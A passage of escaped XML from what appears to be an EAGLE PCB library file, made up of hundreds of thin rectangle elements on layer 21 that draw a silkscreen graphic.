layer=\"21\"/>\n<rectangle x1=\"0.9525\" y1=\"-0.0156\" x2=\"1.5386\" y2=\"-0.0111\" layer=\"21\"/>\n<rectangle x1=\"1.9116\" y1=\"-0.0156\" x2=\"2.4578\" y2=\"-0.0111\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0111\" x2=\"-1.996\" y2=\"-0.0067\" layer=\"21\"/>\n<rectangle x1=\"-1.6186\" y1=\"-0.0111\" x2=\"-1.0324\" y2=\"-0.0067\" layer=\"21\"/>\n<rectangle x1=\"0.948\" y1=\"-0.0111\" x2=\"1.5342\" y2=\"-0.0067\" layer=\"21\"/>\n<rectangle x1=\"1.9116\" y1=\"-0.0111\" x2=\"2.4578\" y2=\"-0.0067\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0067\" x2=\"-1.9916\" y2=\"-0.0023\" layer=\"21\"/>\n<rectangle x1=\"-1.6186\" y1=\"-0.0067\" x2=\"-1.0236\" y2=\"-0.0023\" layer=\"21\"/>\n<rectangle x1=\"0.9391\" y1=\"-0.0067\" x2=\"1.5342\" y2=\"-0.0023\" layer=\"21\"/>\n<rectangle x1=\"1.9072\" y1=\"-0.0067\" x2=\"2.4578\" y2=\"-0.0023\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0023\" x2=\"-1.9916\" y2=\"0.0022\" layer=\"21\"/>\n<rectangle x1=\"-1.6142\" y1=\"-0.0023\" x2=\"-1.0147\" y2=\"0.0022\" layer=\"21\"/>\n<rectangle x1=\"0.9303\" y1=\"-0.0023\" x2=\"1.5297\" y2=\"0.0022\" layer=\"21\"/>\n<rectangle x1=\"1.9027\" y1=\"-0.0023\" x2=\"2.4578\" y2=\"0.0022\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0022\" x2=\"-1.9872\" y2=\"0.0066\" layer=\"21\"/>\n<rectangle x1=\"-1.6142\" y1=\"0.0022\" x2=\"-1.0102\" y2=\"0.0066\" layer=\"21\"/>\n<rectangle x1=\"0.9214\" y1=\"0.0022\" x2=\"1.5297\" y2=\"0.0066\" layer=\"21\"/>\n<rectangle x1=\"1.9027\" y1=\"0.0022\" x2=\"2.4578\" y2=\"0.0066\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0066\" x2=\"-1.9827\" y2=\"0.0111\" layer=\"21\"/>\n<rectangle x1=\"-1.6097\" y1=\"0.0066\" x2=\"-1.0014\" y2=\"0.0111\" layer=\"21\"/>\n<rectangle x1=\"0.9169\" y1=\"0.0066\" x2=\"1.5253\" y2=\"0.0111\" layer=\"21\"/>\n<rectangle x1=\"1.8983\" y1=\"0.0066\" x2=\"2.4578\" y2=\"0.0111\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0111\" x2=\"-1.9827\" y2=\"0.0155\" layer=\"21\"/>\n<rectangle x1=\"-1.6097\" y1=\"0.0111\" x2=\"-0.9925\" y2=\"0.0155\" layer=\"21\"/>\n<rectangle x1=\"0.9081\" y1=\"0.0111\" x2=\"1.5208\" y2=\"0.0155\" layer=\"21\"/>\n<rectangle x1=\"1.8983\" y1=\"0.0111\" x2=\"2.4578\" y2=\"0.0155\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0155\" x2=\"-1.9783\" y2=\"0.02\" layer=\"21\"/>\n<rectangle x1=\"-1.6053\" y1=\"0.0155\" x2=\"-0.9836\" y2=\"0.02\" layer=\"21\"/>\n<rectangle x1=\"0.8992\" y1=\"0.0155\" x2=\"1.5208\" y2=\"0.02\" layer=\"21\"/>\n<rectangle x1=\"1.8938\" y1=\"0.0155\" x2=\"2.4578\" y2=\"0.02\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.02\" x2=\"-1.9783\" y2=\"0.0244\" layer=\"21\"/>\n<rectangle x1=\"-1.6008\" y1=\"0.02\" x2=\"-0.9792\" y2=\"0.0244\" layer=\"21\"/>\n<rectangle x1=\"0.8903\" y1=\"0.02\" x2=\"1.5164\" y2=\"0.0244\" layer=\"21\"/>\n<rectangle x1=\"1.8938\" y1=\"0.02\" x2=\"2.4578\" y2=\"0.0244\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0244\" x2=\"-1.9738\" y2=\"0.0288\" layer=\"21\"/>\n<rectangle x1=\"-1.6008\" y1=\"0.0244\" x2=\"-0.9703\" y2=\"0.0288\" layer=\"21\"/>\n<rectangle x1=\"0.8858\" y1=\"0.0244\" x2=\"1.5164\" y2=\"0.0288\" layer=\"21\"/>\n<rectangle x1=\"1.8894\" y1=\"0.0244\" x2=\"2.4578\" y2=\"0.0288\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0288\" x2=\"-1.9694\" y2=\"0.0333\" layer=\"21\"/>\n<rectangle x1=\"-1.5964\" y1=\"0.0288\" x2=\"-0.9614\" y2=\"0.0333\" layer=\"21\"/>\n<rectangle x1=\"0.877\" y1=\"0.0288\" x2=\"1.512\" y2=\"0.0333\" layer=\"21\"/>\n<rectangle x1=\"1.885\" y1=\"0.0288\" x2=\"2.4578\" y2=\"0.0333\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0333\" x2=\"-1.9694\" y2=\"0.0377\" layer=\"21\"/>\n<rectangle x1=\"-1.5964\" y1=\"0.0333\" x2=\"-0.9525\" y2=\"0.0377\" layer=\"21\"/>\n<rectangle x1=\"0.8681\" y1=\"0.0333\" x2=\"1.512\" y2=\"0.0377\" layer=\"21\"/>\n<rectangle x1=\"1.885\" y1=\"0.0333\" x2=\"2.4578\" y2=\"0.0377\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0377\" x2=\"-1.965\" y2=\"0.0422\" layer=\"21\"/>\n<rectangle x1=\"-1.5919\" y1=\"0.0377\" x2=\"-0.9481\" y2=\"0.0422\" layer=\"21\"/>\n<rectangle x1=\"0.8592\" y1=\"0.0377\" x2=\"1.5075\" y2=\"0.0422\" layer=\"21\"/>\n<rectangle x1=\"1.8805\" y1=\"0.0377\" x2=\"2.4578\" y2=\"0.0422\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0422\" x2=\"-1.965\" y2=\"0.0466\" layer=\"21\"/>\n<rectangle x1=\"-1.5919\" y1=\"0.0422\" x2=\"-0.9392\" y2=\"0.0466\" layer=\"21\"/>\n<rectangle x1=\"0.8548\" y1=\"0.0422\" x2=\"1.5031\" y2=\"0.0466\" layer=\"21\"/>\n<rectangle x1=\"1.8805\" y1=\"0.0422\" x2=\"2.4578\" y2=\"0.0466\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0466\" x2=\"-1.9605\" y2=\"0.051\" layer=\"21\"/>\n<rectangle x1=\"-1.5875\" y1=\"0.0466\" x2=\"-0.9303\" y2=\"0.051\" layer=\"21\"/>\n<rectangle x1=\"0.8459\" y1=\"0.0466\" x2=\"1.5031\" y2=\"0.051\" layer=\"21\"/>\n<rectangle x1=\"1.8761\" y1=\"0.0466\" x2=\"2.4578\" y2=\"0.051\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.051\" x2=\"-1.9605\" y2=\"0.0555\" layer=\"21\"/>\n<rectangle x1=\"-1.5831\" y1=\"0.051\" x2=\"-0.9259\" y2=\"0.0555\" layer=\"21\"/>\n<rectangle x1=\"0.837\" y1=\"0.051\" x2=\"1.4986\" y2=\"0.0555\" layer=\"21\"/>\n<rectangle x1=\"1.8761\" y1=\"0.051\" x2=\"2.4578\" y2=\"0.0555\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0555\" x2=\"-1.9561\" y2=\"0.0599\" layer=\"21\"/>\n<rectangle x1=\"-1.5831\" y1=\"0.0555\" x2=\"-0.917\" y2=\"0.0599\" layer=\"21\"/>\n<rectangle x1=\"0.8326\" y1=\"0.0555\" x2=\"1.4986\" y2=\"0.0599\" layer=\"21\"/>\n<rectangle x1=\"1.8716\" y1=\"0.0555\" x2=\"2.4578\" y2=\"0.0599\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0599\" x2=\"-1.9516\" y2=\"0.0644\" layer=\"21\"/>\n<rectangle x1=\"-1.5786\" y1=\"0.0599\" x2=\"-0.9081\" y2=\"0.0644\" layer=\"21\"/>\n<rectangle x1=\"0.8237\" y1=\"0.0599\" x2=\"1.4942\" y2=\"0.0644\" layer=\"21\"/>\n<rectangle x1=\"1.8672\" y1=\"0.0599\" x2=\"2.4578\" y2=\"0.0644\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0644\" x2=\"-1.9516\" y2=\"0.0688\" layer=\"21\"/>\n<rectangle x1=\"-1.5786\" y1=\"0.0644\" x2=\"-0.8992\" y2=\"0.0688\" layer=\"21\"/>\n<rectangle x1=\"0.8148\" y1=\"0.0644\" x2=\"1.4942\" y2=\"0.0688\" layer=\"21\"/>\n<rectangle x1=\"1.8672\" y1=\"0.0644\" x2=\"2.4578\" y2=\"0.0688\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0688\" x2=\"-1.9472\" y2=\"0.0732\" layer=\"21\"/>\n<rectangle x1=\"-1.5742\" y1=\"0.0688\" x2=\"-0.8948\" y2=\"0.0732\" layer=\"21\"/>\n<rectangle x1=\"0.8059\" y1=\"0.0688\" x2=\"1.4898\" y2=\"0.0732\" layer=\"21\"/>\n<rectangle x1=\"1.8628\" y1=\"0.0688\" x2=\"2.4578\" y2=\"0.0732\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0732\" x2=\"-1.9472\" y2=\"0.0777\" layer=\"21\"/>\n<rectangle x1=\"-1.5697\" y1=\"0.0732\" x2=\"-0.8859\" y2=\"0.0777\" layer=\"21\"/>\n<rectangle x1=\"0.8015\" y1=\"0.0732\" x2=\"1.4853\" y2=\"0.0777\" layer=\"21\"/>\n<rectangle x1=\"1.8628\" y1=\"0.0732\" x2=\"2.4578\" y2=\"0.0777\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0777\" x2=\"-1.9428\" y2=\"0.0821\" layer=\"21\"/>\n<rectangle x1=\"-1.5697\" y1=\"0.0777\" x2=\"-0.877\" y2=\"0.0821\" layer=\"21\"/>\n<rectangle x1=\"0.7926\" y1=\"0.0777\" x2=\"1.4853\" y2=\"0.0821\" layer=\"21\"/>\n<rectangle x1=\"1.8583\" y1=\"0.0777\" x2=\"2.4578\" y2=\"0.0821\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0821\" x2=\"-1.9428\" y2=\"0.0866\" layer=\"21\"/>\n<rectangle x1=\"-1.5653\" y1=\"0.0821\" x2=\"-0.8681\" y2=\"0.0866\" layer=\"21\"/>\n<rectangle x1=\"0.7837\" y1=\"0.0821\" x2=\"1.4809\" y2=\"0.0866\" layer=\"21\"/>\n<rectangle x1=\"1.8583\" y1=\"0.0821\" x2=\"2.4578\" y2=\"0.0866\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0866\" x2=\"-1.9383\" y2=\"0.091\" layer=\"21\"/>\n<rectangle x1=\"-1.5653\" y1=\"0.0866\" x2=\"-0.8637\" y2=\"0.091\" layer=\"21\"/>\n<rectangle x1=\"0.7748\" y1=\"0.0866\" x2=\"1.4809\" y2=\"0.091\" layer=\"21\"/>\n<rectangle x1=\"1.8539\" y1=\"0.0866\" x2=\"2.4578\" y2=\"0.091\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.091\" x2=\"-1.9339\" y2=\"0.0954\" layer=\"21\"/>\n<rectangle x1=\"-1.5609\" y1=\"0.091\" x2=\"-0.8548\" y2=\"0.0954\" layer=\"21\"/>\n<rectangle x1=\"0.7704\" y1=\"0.091\" x2=\"1.4764\" y2=\"0.0954\" layer=\"21\"/>\n<rectangle x1=\"1.8494\" y1=\"0.091\" x2=\"2.4578\" y2=\"0.0954\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0954\" x2=\"-1.9339\" y2=\"0.0999\" layer=\"21\"/>\n<rectangle x1=\"-1.5609\" y1=\"0.0954\" x2=\"-0.8459\" y2=\"0.0999\" layer=\"21\"/>\n<rectangle x1=\"0.7615\" y1=\"0.0954\" x2=\"1.472\" y2=\"0.0999\" layer=\"21\"/>\n<rectangle x1=\"1.8494\" y1=\"0.0954\" x2=\"2.4578\" y2=\"0.0999\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.0999\" x2=\"-1.9294\" y2=\"0.1043\" layer=\"21\"/>\n<rectangle x1=\"-1.5564\" y1=\"0.0999\" x2=\"-0.8371\" y2=\"0.1043\" layer=\"21\"/>\n<rectangle x1=\"0.7526\" y1=\"0.0999\" x2=\"1.472\" y2=\"0.1043\" layer=\"21\"/>\n<rectangle x1=\"1.845\" y1=\"0.0999\" x2=\"2.4578\" y2=\"0.1043\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1043\" x2=\"-1.9294\" y2=\"0.1088\" layer=\"21\"/>\n<rectangle x1=\"-1.552\" y1=\"0.1043\" x2=\"-0.8326\" y2=\"0.1088\" layer=\"21\"/>\n<rectangle x1=\"0.7482\" y1=\"0.1043\" x2=\"1.4676\" y2=\"0.1088\" layer=\"21\"/>\n<rectangle x1=\"1.845\" y1=\"0.1043\" x2=\"2.4578\" y2=\"0.1088\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1088\" x2=\"-1.925\" y2=\"0.1132\" layer=\"21\"/>\n<rectangle x1=\"-1.552\" y1=\"0.1088\" x2=\"-0.8237\" y2=\"0.1132\" layer=\"21\"/>\n<rectangle x1=\"0.7393\" y1=\"0.1088\" x2=\"1.4676\" y2=\"0.1132\" layer=\"21\"/>\n<rectangle x1=\"1.8406\" y1=\"0.1088\" x2=\"2.4578\" y2=\"0.1132\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1132\" x2=\"-1.925\" y2=\"0.1176\" layer=\"21\"/>\n<rectangle x1=\"-1.5475\" y1=\"0.1132\" x2=\"-0.8149\" y2=\"0.1176\" layer=\"21\"/>\n<rectangle x1=\"0.7304\" y1=\"0.1132\" x2=\"1.4631\" y2=\"0.1176\" layer=\"21\"/>\n<rectangle x1=\"1.8361\" y1=\"0.1132\" x2=\"2.4578\" y2=\"0.1176\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1176\" x2=\"-1.9206\" y2=\"0.1221\" layer=\"21\"/>\n<rectangle x1=\"-1.5475\" y1=\"0.1176\" x2=\"-0.8104\" y2=\"0.1221\" layer=\"21\"/>\n<rectangle x1=\"0.7216\" y1=\"0.1176\" x2=\"1.4631\" y2=\"0.1221\" layer=\"21\"/>\n<rectangle x1=\"1.8361\" y1=\"0.1176\" x2=\"2.4578\" y2=\"0.1221\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1221\" x2=\"-1.9161\" y2=\"0.1265\" layer=\"21\"/>\n<rectangle x1=\"-1.5431\" y1=\"0.1221\" x2=\"-0.8015\" y2=\"0.1265\" layer=\"21\"/>\n<rectangle x1=\"0.7171\" y1=\"0.1221\" x2=\"1.4587\" y2=\"0.1265\" layer=\"21\"/>\n<rectangle x1=\"1.8317\" y1=\"0.1221\" x2=\"2.4578\" y2=\"0.1265\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1265\" x2=\"-1.9161\" y2=\"0.131\" layer=\"21\"/>\n<rectangle x1=\"-1.5431\" y1=\"0.1265\" x2=\"-0.7927\" y2=\"0.131\" layer=\"21\"/>\n<rectangle x1=\"0.7082\" y1=\"0.1265\" x2=\"1.4542\" y2=\"0.131\" layer=\"21\"/>\n<rectangle x1=\"1.8317\" y1=\"0.1265\" x2=\"2.4578\" y2=\"0.131\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.131\" x2=\"-1.9117\" y2=\"0.1354\" layer=\"21\"/>\n<rectangle x1=\"-1.5387\" y1=\"0.131\" x2=\"-0.7838\" y2=\"0.1354\" layer=\"21\"/>\n<rectangle x1=\"0.6993\" y1=\"0.131\" x2=\"1.4542\" y2=\"0.1354\" layer=\"21\"/>\n<rectangle x1=\"1.8272\" y1=\"0.131\" x2=\"2.4578\" y2=\"0.1354\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1354\" x2=\"-1.9117\" y2=\"0.1398\" layer=\"21\"/>\n<rectangle x1=\"-1.5342\" y1=\"0.1354\" x2=\"-0.7793\" y2=\"0.1398\" layer=\"21\"/>\n<rectangle x1=\"0.6905\" y1=\"0.1354\" x2=\"1.4498\" y2=\"0.1398\" layer=\"21\"/>\n<rectangle x1=\"1.8272\" y1=\"0.1354\" x2=\"2.4578\" y2=\"0.1398\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1398\" x2=\"-1.9072\" y2=\"0.1443\" layer=\"21\"/>\n<rectangle x1=\"-1.5342\" y1=\"0.1398\" x2=\"-0.7705\" y2=\"0.1443\" layer=\"21\"/>\n<rectangle x1=\"0.686\" y1=\"0.1398\" x2=\"1.4498\" y2=\"0.1443\" layer=\"21\"/>\n<rectangle x1=\"1.8228\" y1=\"0.1398\" x2=\"2.4578\" y2=\"0.1443\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1443\" x2=\"-1.9028\" y2=\"0.1487\" layer=\"21\"/>\n<rectangle x1=\"-1.5298\" y1=\"0.1443\" x2=\"-0.7616\" y2=\"0.1487\" layer=\"21\"/>\n<rectangle x1=\"0.6771\" y1=\"0.1443\" x2=\"1.4454\" y2=\"0.1487\" layer=\"21\"/>\n<rectangle x1=\"1.8184\" y1=\"0.1443\" x2=\"2.4578\" y2=\"0.1487\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1487\" x2=\"-1.9028\" y2=\"0.1532\" layer=\"21\"/>\n<rectangle x1=\"-1.5298\" y1=\"0.1487\" x2=\"-0.7527\" y2=\"0.1532\" layer=\"21\"/>\n<rectangle x1=\"0.6683\" y1=\"0.1487\" x2=\"1.4454\" y2=\"0.1532\" layer=\"21\"/>\n<rectangle x1=\"1.8184\" y1=\"0.1487\" x2=\"2.4578\" y2=\"0.1532\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1532\" x2=\"-1.8983\" y2=\"0.1576\" layer=\"21\"/>\n<rectangle x1=\"-1.5253\" y1=\"0.1532\" x2=\"-0.7483\" y2=\"0.1576\" layer=\"21\"/>\n<rectangle x1=\"0.6594\" y1=\"0.1532\" x2=\"1.4409\" y2=\"0.1576\" layer=\"21\"/>\n<rectangle x1=\"1.8139\" y1=\"0.1532\" x2=\"2.4578\" y2=\"0.1576\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1576\" x2=\"-1.8983\" y2=\"0.162\" layer=\"21\"/>\n<rectangle x1=\"-1.5209\" y1=\"0.1576\" x2=\"-0.7394\" y2=\"0.162\" layer=\"21\"/>\n<rectangle x1=\"0.6549\" y1=\"0.1576\" x2=\"1.4365\" y2=\"0.162\" layer=\"21\"/>\n<rectangle x1=\"1.8139\" y1=\"0.1576\" x2=\"2.4578\" y2=\"0.162\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.162\" x2=\"-1.8939\" y2=\"0.1665\" layer=\"21\"/>\n<rectangle x1=\"-1.5209\" y1=\"0.162\" x2=\"-0.7305\" y2=\"0.1665\" layer=\"21\"/>\n<rectangle x1=\"0.6461\" y1=\"0.162\" x2=\"1.4365\" y2=\"0.1665\" layer=\"21\"/>\n<rectangle x1=\"1.8095\" y1=\"0.162\" x2=\"2.4578\" y2=\"0.1665\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1665\" x2=\"-1.8939\" y2=\"0.1709\" layer=\"21\"/>\n<rectangle x1=\"-1.5165\" y1=\"0.1665\" x2=\"-0.7216\" y2=\"0.1709\" layer=\"21\"/>\n<rectangle x1=\"0.6372\" y1=\"0.1665\" x2=\"1.432\" y2=\"0.1709\" layer=\"21\"/>\n<rectangle x1=\"1.8095\" y1=\"0.1665\" x2=\"2.4578\" y2=\"0.1709\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1709\" x2=\"-1.8895\" y2=\"0.1754\" layer=\"21\"/>\n<rectangle x1=\"-1.5165\" y1=\"0.1709\" x2=\"-0.7172\" y2=\"0.1754\" layer=\"21\"/>\n<rectangle x1=\"0.6327\" y1=\"0.1709\" x2=\"1.432\" y2=\"0.1754\" layer=\"21\"/>\n<rectangle x1=\"1.805\" y1=\"0.1709\" x2=\"2.4578\" y2=\"0.1754\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1754\" x2=\"-1.885\" y2=\"0.1798\" layer=\"21\"/>\n<rectangle x1=\"-1.512\" y1=\"0.1754\" x2=\"-0.7083\" y2=\"0.1798\" layer=\"21\"/>\n<rectangle x1=\"0.6239\" y1=\"0.1754\" x2=\"1.4276\" y2=\"0.1798\" layer=\"21\"/>\n<rectangle x1=\"1.8006\" y1=\"0.1754\" x2=\"2.4578\" y2=\"0.1798\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1798\" x2=\"-1.885\" y2=\"0.1843\" layer=\"21\"/>\n<rectangle x1=\"-1.512\" y1=\"0.1798\" x2=\"-0.6994\" y2=\"0.1843\" layer=\"21\"/>\n<rectangle x1=\"0.615\" y1=\"0.1798\" x2=\"1.4276\" y2=\"0.1843\" layer=\"21\"/>\n<rectangle x1=\"1.8006\" y1=\"0.1798\" x2=\"2.4578\" y2=\"0.1843\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1843\" x2=\"-1.8806\" y2=\"0.1887\" layer=\"21\"/>\n<rectangle x1=\"-1.5076\" y1=\"0.1843\" x2=\"-0.695\" y2=\"0.1887\" layer=\"21\"/>\n<rectangle x1=\"0.6061\" y1=\"0.1843\" x2=\"1.4231\" y2=\"0.1887\" layer=\"21\"/>\n<rectangle x1=\"1.7962\" y1=\"0.1843\" x2=\"2.4578\" y2=\"0.1887\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1887\" x2=\"-1.8806\" y2=\"0.1931\" layer=\"21\"/>\n<rectangle x1=\"-1.5031\" y1=\"0.1887\" x2=\"-0.6861\" y2=\"0.1931\" layer=\"21\"/>\n<rectangle x1=\"0.6017\" y1=\"0.1887\" x2=\"1.4187\" y2=\"0.1931\" layer=\"21\"/>\n<rectangle x1=\"1.7962\" y1=\"0.1887\" x2=\"2.4578\" y2=\"0.1931\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1931\" x2=\"-1.8761\" y2=\"0.1976\" layer=\"21\"/>\n<rectangle x1=\"-1.5031\" y1=\"0.1931\" x2=\"-0.6772\" y2=\"0.1976\" layer=\"21\"/>\n<rectangle x1=\"0.5928\" y1=\"0.1931\" x2=\"1.4187\" y2=\"0.1976\" layer=\"21\"/>\n<rectangle x1=\"1.7917\" y1=\"0.1931\" x2=\"2.4578\" y2=\"0.1976\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.1976\" x2=\"-1.8761\" y2=\"0.202\" layer=\"21\"/>\n<rectangle x1=\"-1.4987\" y1=\"0.1976\" x2=\"-0.6683\" y2=\"0.202\" layer=\"21\"/>\n<rectangle x1=\"0.5839\" y1=\"0.1976\" x2=\"1.4143\" y2=\"0.202\" layer=\"21\"/>\n<rectangle x1=\"1.7917\" y1=\"0.1976\" x2=\"2.4578\" y2=\"0.202\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.202\" x2=\"-1.8717\" y2=\"0.2065\" layer=\"21\"/>\n<rectangle x1=\"-1.4987\" y1=\"0.202\" x2=\"-0.6639\" y2=\"0.2065\" layer=\"21\"/>\n<rectangle x1=\"0.575\" y1=\"0.202\" x2=\"1.4143\" y2=\"0.2065\" layer=\"21\"/>\n<rectangle x1=\"1.7873\" y1=\"0.202\" x2=\"2.4578\" y2=\"0.2065\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2065\" x2=\"-1.8673\" y2=\"0.2109\" layer=\"21\"/>\n<rectangle x1=\"-1.4943\" y1=\"0.2065\" x2=\"-0.655\" y2=\"0.2109\" layer=\"21\"/>\n<rectangle x1=\"0.5706\" y1=\"0.2065\" x2=\"1.4098\" y2=\"0.2109\" layer=\"21\"/>\n<rectangle x1=\"1.7828\" y1=\"0.2065\" x2=\"2.4578\" y2=\"0.2109\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2109\" x2=\"-1.8673\" y2=\"0.2153\" layer=\"21\"/>\n<rectangle x1=\"-1.4943\" y1=\"0.2109\" x2=\"-0.6461\" y2=\"0.2153\" layer=\"21\"/>\n<rectangle x1=\"0.5617\" y1=\"0.2109\" x2=\"1.4054\" y2=\"0.2153\" layer=\"21\"/>\n<rectangle x1=\"1.7828\" y1=\"0.2109\" x2=\"2.4578\" y2=\"0.2153\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2153\" x2=\"-1.8628\" y2=\"0.2198\" layer=\"21\"/>\n<rectangle x1=\"-1.4898\" y1=\"0.2153\" x2=\"-0.6372\" y2=\"0.2198\" layer=\"21\"/>\n<rectangle x1=\"0.5528\" y1=\"0.2153\" x2=\"1.4054\" y2=\"0.2198\" layer=\"21\"/>\n<rectangle x1=\"1.7784\" y1=\"0.2153\" x2=\"2.4578\" y2=\"0.2198\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2198\" x2=\"-1.8628\" y2=\"0.2242\" layer=\"21\"/>\n<rectangle x1=\"-1.4854\" y1=\"0.2198\" x2=\"-0.6328\" y2=\"0.2242\" layer=\"21\"/>\n<rectangle x1=\"0.5439\" y1=\"0.2198\" x2=\"1.4009\" y2=\"0.2242\" layer=\"21\"/>\n<rectangle x1=\"1.7784\" y1=\"0.2198\" x2=\"2.4578\" y2=\"0.2242\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2242\" x2=\"-1.8584\" y2=\"0.2287\" layer=\"21\"/>\n<rectangle x1=\"-1.4854\" y1=\"0.2242\" x2=\"-0.6239\" y2=\"0.2287\" layer=\"21\"/>\n<rectangle x1=\"0.5395\" y1=\"0.2242\" x2=\"1.4009\" y2=\"0.2287\" layer=\"21\"/>\n<rectangle x1=\"1.7739\" y1=\"0.2242\" x2=\"2.4578\" y2=\"0.2287\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2287\" x2=\"-1.8539\" y2=\"0.2331\" layer=\"21\"/>\n<rectangle x1=\"-1.4809\" y1=\"0.2287\" x2=\"-0.615\" y2=\"0.2331\" layer=\"21\"/>\n<rectangle x1=\"0.5306\" y1=\"0.2287\" x2=\"1.3965\" y2=\"0.2331\" layer=\"21\"/>\n<rectangle x1=\"1.7695\" y1=\"0.2287\" x2=\"2.4578\" y2=\"0.2331\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2331\" x2=\"-1.8539\" y2=\"0.2375\" layer=\"21\"/>\n<rectangle x1=\"-1.4809\" y1=\"0.2331\" x2=\"-0.6062\" y2=\"0.2375\" layer=\"21\"/>\n<rectangle x1=\"0.5217\" y1=\"0.2331\" x2=\"1.3965\" y2=\"0.2375\" layer=\"21\"/>\n<rectangle x1=\"1.7695\" y1=\"0.2331\" x2=\"2.4578\" y2=\"0.2375\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2375\" x2=\"-1.8495\" y2=\"0.242\" layer=\"21\"/>\n<rectangle x1=\"-1.4765\" y1=\"0.2375\" x2=\"-0.6017\" y2=\"0.242\" layer=\"21\"/>\n<rectangle x1=\"0.5173\" y1=\"0.2375\" x2=\"1.3921\" y2=\"0.242\" layer=\"21\"/>\n<rectangle x1=\"1.7651\" y1=\"0.2375\" x2=\"2.4578\" y2=\"0.242\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.242\" x2=\"-1.8495\" y2=\"0.2464\" layer=\"21\"/>\n<rectangle x1=\"-1.4765\" y1=\"0.242\" x2=\"-0.5928\" y2=\"0.2464\" layer=\"21\"/>\n<rectangle x1=\"0.5084\" y1=\"0.242\" x2=\"1.3876\" y2=\"0.2464\" layer=\"21\"/>\n<rectangle x1=\"1.7651\" y1=\"0.242\" x2=\"2.4578\" y2=\"0.2464\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2464\" x2=\"-1.8451\" y2=\"0.2509\" layer=\"21\"/>\n<rectangle x1=\"-1.4721\" y1=\"0.2464\" x2=\"-0.584\" y2=\"0.2509\" layer=\"21\"/>\n<rectangle x1=\"0.4995\" y1=\"0.2464\" x2=\"1.3876\" y2=\"0.2509\" layer=\"21\"/>\n<rectangle x1=\"1.7606\" y1=\"0.2464\" x2=\"2.4578\" y2=\"0.2509\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2509\" x2=\"-1.8451\" y2=\"0.2553\" layer=\"21\"/>\n<rectangle x1=\"-1.4676\" y1=\"0.2509\" x2=\"-0.5795\" y2=\"0.2553\" layer=\"21\"/>\n<rectangle x1=\"0.4906\" y1=\"0.2509\" x2=\"1.3832\" y2=\"0.2553\" layer=\"21\"/>\n<rectangle x1=\"1.7606\" y1=\"0.2509\" x2=\"2.4578\" y2=\"0.2553\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2553\" x2=\"-1.8406\" y2=\"0.2597\" 